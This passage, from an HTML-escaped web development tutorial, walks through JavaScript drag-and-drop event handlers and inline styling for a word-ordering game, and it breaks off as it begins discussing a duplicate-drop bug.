  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragleave&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragEnterHandler running&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragOverHandler running&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragLeaveHandler running&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dropHandler running&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-target-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterbegin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;dropHandler()&lt;/code&gt; method, we’re preventing the default way that the browser handles the data that comes in. Next, we’re getting the dragged element’s data and we’re saving it in &lt;code&gt;dataSourceId&lt;/code&gt;, which will be the first part of our matching check. Next, we get the &lt;code&gt;dataTargetId&lt;/code&gt; so that we can compare if it is equal to the &lt;code&gt;dataSourceId&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;dataSouceId&lt;/code&gt; and &lt;code&gt;dataTargetId&lt;/code&gt; are equal, that means that our custom data attributes hold matching values, and thus we can complete the adding of the specific source element’s data into the specific target element’s HTML.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adding CSS Code For Better UX
&lt;/h3&gt;

&lt;p&gt;Let’s start by inspecting the complete JS code, made slimmer by removal of all redundant &lt;code&gt;console.log()&lt;/code&gt; calls.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jumbledWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#jumbledWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;orderedWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#orderedWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;jumbledWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nx"&gt;orderedWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragenter&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragleave&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-source-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-target-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterbegin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can verify above, we’ve removed all the &lt;code&gt;console.log()&lt;/code&gt; invocations, and thus some of our event handler functions are now empty. &lt;/p&gt;

&lt;p&gt;That means these functions are ready to receive corresponding CSS code updates. Additionally, due to the updates in style to the &lt;code&gt;dragStartHandler()&lt;/code&gt; method, we’ll also need to add a brand new source element’s event listener for the &lt;code&gt;dragend&lt;/code&gt; event.&lt;/p&gt;

&lt;p&gt;We’ll start by adding another event listener to the &lt;code&gt;jumbledWords&lt;/code&gt; collection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jumbledWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragend&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragEndHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we’ll update the two event handler function definitions too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-source-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;opacity: 0.3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEndHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;opacity: 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we’ll update the styles inside the &lt;code&gt;dragEnterhandler()&lt;/code&gt; and the &lt;code&gt;dragLeaveHandler()&lt;/code&gt; methods.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: 2px dashed gray; box-sizing: border-box; background: whitesmoke&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: none; background: #abcdef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We’ll also go around some styling issues by updating the if condition inside the &lt;code&gt;dropHandler()&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterbegin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: none; background: #abcdef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;draggable&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Preventing Errors
&lt;/h3&gt;

&lt;p&gt;We’ve set up our JS code so that it checks if the values are matching for the &lt;code&gt;data-source-id&lt;/code&gt; of the &lt;code&gt;jumbledWordsWrapper&lt;/code&gt; div and the &lt;code&gt;data-target-id&lt;/code&gt; of the &lt;code&gt;orderedWordsWrapper&lt;/code&gt; div.&lt;/p&gt;

&lt;p&gt;This check in itself prevents us from dragging any other word onto the correct place⁠—except for the matching word.&lt;/p&gt;

&lt;p&gt;However, we have a bug: there’s no code preventing us from dragging the correct word into the same span inside the &lt;code&gt;orderedWordsWrapper&lt;/code&gt; multiple times.&lt;/p&gt;

&lt;p&gt;Here’s an example of this bug:&lt;/p&gt;

